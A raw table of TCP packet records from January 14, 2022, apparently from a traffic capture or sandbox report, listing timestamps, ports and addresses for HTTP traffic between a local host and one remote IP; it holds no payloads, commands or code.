Jan 14, 2022 09:26:04.194212914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.194226980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.194433928 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.194673061 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.194870949 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.194885015 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.195187092 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.195329905 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.195441008 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.195513010 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.195842028 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.196069002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.196166039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.196336985 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.196449041 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.196599007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.196757078 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.196913958 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.196960926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.197129011 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.197144032 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.197320938 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.197427034 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.197516918 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.197678089 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.197695017 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.197851896 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.197937012 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.198055983 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.198240042 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.198256016 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.198440075 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.198638916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.198654890 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.198858023 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.198998928 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.199158907 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.199264050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.199383020 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.199489117 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.199604034 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.199805975 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.199929953 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.200066090 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.200083971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.200180054 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.200303078 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.211009979 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.214699030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.214721918 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.215181112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.215291977 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.215372086 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.215589046 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.215986013 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.216350079 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.216394901 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.216490984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.216671944 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.216799021 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.217143059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.217386961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.217479944 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.217603922 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.217719078 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.217885971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.218034029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.218194008 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.218297958 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.218398094 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.218585968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.218699932 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.218842983 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.218902111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.219059944 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.219075918 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.219269991 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.219288111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.219433069 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.219450951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.219610929 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.219624996 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.219773054 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.219790936 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.219945908 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.219961882 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.220120907 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.220138073 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.220284939 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.220298052 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.220458031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.220474958 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.220645905 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.220660925 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.220832109 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.220849991 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.221009970 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.221024990 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.221200943 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.221219063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.221369982 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.221385002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.221546888 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.230848074 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.240550995 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.240566015 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.240910053 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.242773056 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.244118929 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.244149923 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.244388103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.244405031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.244616985 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.244680882 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.244695902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.244852066 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.244973898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.245106936 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.245265961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.245280027 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.245418072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.245583057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.245723963 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.245742083 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.245907068 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.246033907 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.246123075 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.246264935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.246391058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.246402025 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.246588945 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.246697903 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.246905088 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.247287035 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.247298002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.247704029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.247870922 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.247884989 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.248104095 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.248117924 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.248214006 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.248425007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.248509884 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.248728991 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.248809099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.248919010 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.249146938 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.249166965 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.249327898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.249481916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.249564886 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.249711990 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.249872923 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.249891043 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.249996901 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.250222921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.250240088 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.251466990 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.254225016 CET	80	49915	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.258318901 CET	49915	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.269036055 CET	80	49893	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.269201994 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.269218922 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.269632101 CET	49893	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.278888941 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.279134035 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.279186964 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.279233932 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.279259920 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.279316902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.279351950 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.279537916 CET	49915	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.279551983 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.279746056 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.279762030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.279937983 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.279951096 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.280244112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.280257940 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.280266047 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.280419111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.280431986 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.280589104 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.280603886 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.280761957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.280774117 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.280936003 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.280951023 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.281111956 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.281124115 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.281282902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.281296968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.281456947 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.281470060 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.281634092 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.281647921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.281883955 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.281927109 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.281935930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.282105923 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.282257080 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.282273054 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.282483101 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.282501936 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.282716990 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.282736063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.282892942 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.282912016 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.283067942 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.283082008 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.283241987 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.283261061 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.283416033 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.283432007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.283607960 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.283626080 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.283787966 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.283802986 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.283960104 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.283981085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.284142017 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.284158945 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.284318924 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.284337044 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.284461021 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.284765005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.284781933 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.284861088 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.285069942 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.285144091 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.285235882 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.285410881 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.285425901 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.285621881 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.285739899 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.285753012 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.285895109 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.286118031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.286130905 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.286300898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.286314964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.286499023 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.286515951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.286674023 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.286689043 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.286879063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.286895990 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.287050962 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.287065983 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.287240028 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.287256002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.287410975 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.287426949 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.287631989 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.287663937 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.287758112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.287897110 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.287913084 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.288099051 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.288115025 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.288260937 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.288275003 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.288440943 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.288456917 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.288614035 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.288628101 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.288791895 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.288806915 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.288964033 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.288979053 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.289222956 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.289238930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.289577007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.292834997 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.293062925 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.301697969 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.301934004 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.301948071 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.302267075 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.302278042 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.302284002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.302442074 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.302455902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.302628040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.302640915 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.302829027 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.302841902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.303005934 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.303015947 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.303322077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.303335905 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.303489923 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.303503036 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.303658962 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.303673029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.303843021 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.303858995 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.304025888 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.304043055 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.304205894 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.304222107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.304383039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.304400921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.304555893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.304574013 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.304744005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.304759979 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.304925919 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.304944992 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.305108070 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.305124044 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.305285931 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.305303097 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.305466890 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.305484056 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.305648088 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.305666924 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.305824995 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.305840015 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.306003094 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.306020021 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.306186914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.306201935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.306369066 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.306385994 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.306545019 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.306560040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.306723118 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.306739092 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.306905031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.306921005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.307100058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.307116985 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.307228088 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.307333946 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.307499886 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.307598114 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.307861090 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.308073044 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.308237076 CET	49891	80	192.168.2.4	185.215.113.35
